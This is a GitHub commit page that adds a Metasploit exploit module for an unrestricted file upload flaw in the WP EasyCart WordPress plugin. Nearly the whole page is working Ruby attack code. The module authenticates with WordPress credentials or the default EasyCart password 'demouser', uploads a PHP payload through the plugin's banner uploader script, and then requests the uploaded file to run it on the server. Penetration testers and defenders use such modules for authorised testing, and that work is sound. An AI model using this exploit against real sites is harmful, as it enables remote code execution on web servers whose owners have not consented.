Skip to content

Commit 6d46182

Browse files
committed
Land rapid7#4570, @rastating 's module for wp-easycart
2 parents eb4226d + f2b834c commit 6d46182

File tree

1 file changed

+171
-0
lines changed

1 file changed

+171
-0
lines changed
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::HTTP::Wordpress
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'WordPress WP EasyCart Unrestricted File Upload',
18+
'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
19+
WordPress contains a flaw that allows a remote
20+
attacker to execute arbitrary PHP code. This
21+
flaw exists because the
22+
/inc/amfphp/administration/banneruploaderscript.php
23+
script does not properly verify or sanitize
24+
user-uploaded files. By uploading a .php file,
25+
the remote system will place the file in a
26+
user-accessible path. Making a direct request to
27+
the uploaded file will allow the attacker to
28+
execute the script with the privileges of the web
29+
server.
30+
31+
In versions <= 3.0.8 authentication can be done by
32+
using the WordPress credentials of a user with any
33+
role. In later versions, a valid EasyCart admin
34+
password will be required that is in use by any
35+
admin user. A default installation of EasyCart will
36+
setup a user called "demouser" with a preset password
37+
of "demouser".},
38+
'License' => MSF_LICENSE,
39+
'Author' =>
40+
[
41+
'Kacper Szurek', # Vulnerability disclosure
42+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
43+
],
44+
'References' =>
45+
[
46+
['OSVDB', '116806'],
47+
['WPVDB', '7745']
48+
],
49+
'DisclosureDate' => 'Jan 08 2015',
50+
'Platform' => 'php',
51+
'Arch' => ARCH_PHP,
52+
'Targets' => [['wp-easycart', {}]],
53+
'DefaultTarget' => 0
54+
))
55+
56+
register_options(
57+
[
58+
OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
59+
OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
60+
OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
61+
OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
62+
], self.class)
63+
end
64+
65+
def username
66+
datastore['USERNAME']
67+
end
68+
69+
def password
70+
datastore['PASSWORD']
71+
end
72+
73+
def ec_password
74+
datastore['EC_PASSWORD']
75+
end
76+
77+
def ec_password_is_hash
78+
datastore['EC_PASSWORD_IS_HASH']
79+
end
80+
81+
def use_wordpress_authentication
82+
username.to_s != '' && password.to_s != ''
83+
end
84+
85+
def use_ec_authentication
86+
ec_password.to_s != ''
87+
end
88+
89+
def req_id
90+
if ec_password_is_hash
91+
return ec_password
92+
else
93+
return Rex::Text.md5(ec_password)
94+
end
95+
end
96+
97+
def generate_mime_message(payload, date_hash, name, include_req_id)
98+
data = Rex::MIME::Message.new
99+
data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
100+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
101+
data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
102+
data
103+
end
104+
105+
def setup
106+
if !use_wordpress_authentication && !use_ec_authentication
107+
fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
108+
end
109+
110+
super
111+
end
112+
113+
def exploit
114+
vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
115+
vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
116+
117+
if use_wordpress_authentication && use_ec_authentication
118+
print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
119+
end
120+
121+
if use_wordpress_authentication
122+
print_status("#{peer} - Authenticating using #{username}:#{password}...")
123+
cookie = wordpress_login(username, password)
124+
125+
if !cookie
126+
if use_ec_authentication
127+
print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...")
128+
else
129+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
130+
end
131+
else
132+
print_good("#{peer} - Authenticated with WordPress")
133+
end
134+
end
135+
136+
print_status("#{peer} - Preparing payload...")
137+
payload_name = Rex::Text.rand_text_alpha(10)
138+
date_hash = Rex::Text.md5(Time.now.to_s)
139+
uploaded_filename = "#{payload_name}_#{date_hash}.php"
140+
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
141+
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
142+
payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
143+
data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
144+
145+
print_status("#{peer} - Uploading payload to #{payload_url}")
146+
res = send_request_cgi(
147+
'method' => 'POST',
148+
'uri' => uploader_url,
149+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
150+
'data' => data.to_s,
151+
'cookie' => cookie
152+
)
153+
154+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
155+
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
156+
157+
print_status("#{peer} - Executing the payload...")
158+
register_files_for_cleanup(uploaded_filename)
159+
res = send_request_cgi(
160+
{
161+
'uri' => payload_url,
162+
'method' => 'GET'
163+
}, 5)
164+
165+
if !res.nil? && res.code == 404
166+
print_error("#{peer} - Failed to upload the payload")
167+
else
168+
print_good("#{peer} - Executed payload")
169+
end
170+
end
171+
end

0 commit comments

Comments
 (0)